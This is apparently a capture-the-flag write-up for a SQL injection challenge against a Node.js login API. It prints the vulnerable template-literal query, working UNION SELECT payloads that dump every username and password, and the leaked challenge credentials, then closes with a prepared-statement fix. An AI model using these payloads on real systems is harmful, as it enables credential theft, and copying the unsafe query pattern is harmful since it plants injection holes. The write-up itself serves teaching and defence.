The first challenge is always the simplest, with a quick SQL Injection this time. Simply bypassing the login is not enough, we have to leak the administrator's password. Our task:
Via the API: Login as the admin username 'fitzh' (login page UI: https://event2-0-4893hjf.vercel.app)
Source Code
Looking at the source code, we should find what endpoints exist and how we may interact with them. In this case, there exists a single handler that was accessible on /api/login:
import requestIp from 'request-ip';
import dotenv from 'dotenv';
import mysql from 'mysql2';
dotenv.config();
export default async (req, res) => {
try {
const result = await login(req.body.user, req.body.password);
if(result.length > 0) {
res.status(200).send(result);
} else {
res.status(401).send("Invalid username or password");
}
} catch (e) {
res.status(500).send(e.message);
}
};
It calls a custom login() function with the user and password properties of the request's body. This function generates the response:
const login = async (userName, password) => {
const rows = await getUser(userName, password);
if(rows.length === 1 && password === rows[0].password) {
rows[0].password = "[REDACTED]";
return rows;
}
return [];
};
Lastly, the body of the login function calls getUser() with our provided username and password. Interestingly, the result of this is stored in rows and if a row exists, and our given password matches that of the matched row, it returns all that queried data back to us. Note that the password is replaced with [REDACTED], however, so if we were able to bypass this login somehow we won't instantly see a plaintext password.
The querying function works as follows:
const getUser = async (userName, password) => {
let connection = mysql.createConnection(process.env.DATABASE_URL);
const query = `SELECT userName, password, type, firstName, lastName FROM users_table
WHERE userName = '${userName}' and password = '${password}'`;
const [rows, fields] = await connection.promise().query(query);
connection.end();
return rows;
}
The query() function from a well-known MySQL library takes a string that is generated from a template literal with our username and password inserted. With string literals assigned directly to a variable like this, our username and password will simply replace the ${...} syntax with the given value, without any escaping or special structuring. The matched rows are then simply returned and handled by the login function.
SQL Injection
Because our input data is put directly inside of the SQL query, the application will not know the difference between code and data any more and will treat any input data as part of the query syntax. We can abuse this by closing out of the quotes around ${userName}, for example, and writing some more syntax to reach our goal of reading the password.
Let's first confirm our suspicion with a quick proof-of-concept:
POST /api/login HTTP/2
Host: event2-0-4893hjf.vercel.app
Content-Type: application/json
{
"user": "' injected",
"password": "pass"
}
syntax error at position 119 near 'injected'
Nice! We successfully broke the query and generated a syntax error by injecting a quote.
Leaking the password
For this challenge, we have to exploit the vulnerability to read a password. If we would only make this query return the first user with a classic payload such as ' OR 1=1;-- -, we still won't log in because of the extra password check inside login(). However, we can come up with another idea: injecting our own results. Using the UNION SELECT keyword at the end of a query, we can add more rows to it from an entirely different query that we control. Here, we can write anything we want as the username, password or any other fields. Read the following example:
SELECT userName, password, type, firstName, lastName FROM users_table WHERE userName = '' UNION SELECT 1,2,3,4,5;-- -' and password = '${password}'
Such a payload would return no results from the first query, because no user has an empty userName, but another row is generated from literals as 1,2,3,4,5. If we count the columns, we find that the password that we set should be 2:
POST /api/login HTTP/2
Host: event2-0-4893hjf.vercel.app
Content-Type: application/json
{
"user": "' UNION SELECT 1,2,3,4,5;-- -",
"password": "2"
}
The response is as follows:
As expected, the password is redacted. But this is not a real password anyway, it would be "2". We were able to read the rest of the strings in columns 1, 3, 4 and 5. To fully exploit this now, we can replace any of these readable literals with a subquery returning sensitive data like the user's password:
... userName = '' UNION SELECT (SELECT GROUP_CONCAT(CONCAT(userName, ':', password)) FROM users_table),2,3,4,5;-- -' and password = '${password}'
The above will concatenate the usernames and passwords in the users_table table, finding us the password of 'fitzh':
POST /api/login HTTP/2
Host: event2-0-4893hjf.vercel.app
Content-Type: application/json
{
"user": "' UNION SELECT (SELECT GROUP_CONCAT(CONCAT(userName, ':', password)) FROM users_table),2,3,4,5;-- -",
"password": "2"
}
[{
"userName": "jamesf:n459gj9jfgv45j,bettyg:ht4589j89j4589fgjt,gordonm:ijnure89huyhu489,fitzh:45906mn45b459im9",
"password":"[REDACTED]",
"type":"3",
"firstName": "4",
"lastName":"5"
}]
After finding their password, we can now log in to the main challenge page with username fitzh and password 45906mn45b459im9 to solve the challenge!
Mitigation
The clear vulnerability in this application was the use of template literals which don't escape anything. This allowed the attacker to break out of the string and start writing code with what should have been data.
The easiest and most robust solution for this is the use of Prepared Statements. This makes a clear difference between code and data for the SQL library so that it can safely escape everything. Using ? question marks in the query as placeholders where values should be inserted, and an array of the values in order of appearance in the SQL query:
const getUser = async (userName, password) => {
let connection = mysql.createConnection(process.env.DATABASE_URL);
const query = `SELECT userName, password, type, firstName, lastName FROM users_table
WHERE userName = ? and password = ?`;
// ^^ Notice the question marks above, and the parameters moved below VV
const [rows, fields] = await connection.promise().query(query, [userName, password]);
connection.end();
return rows;
}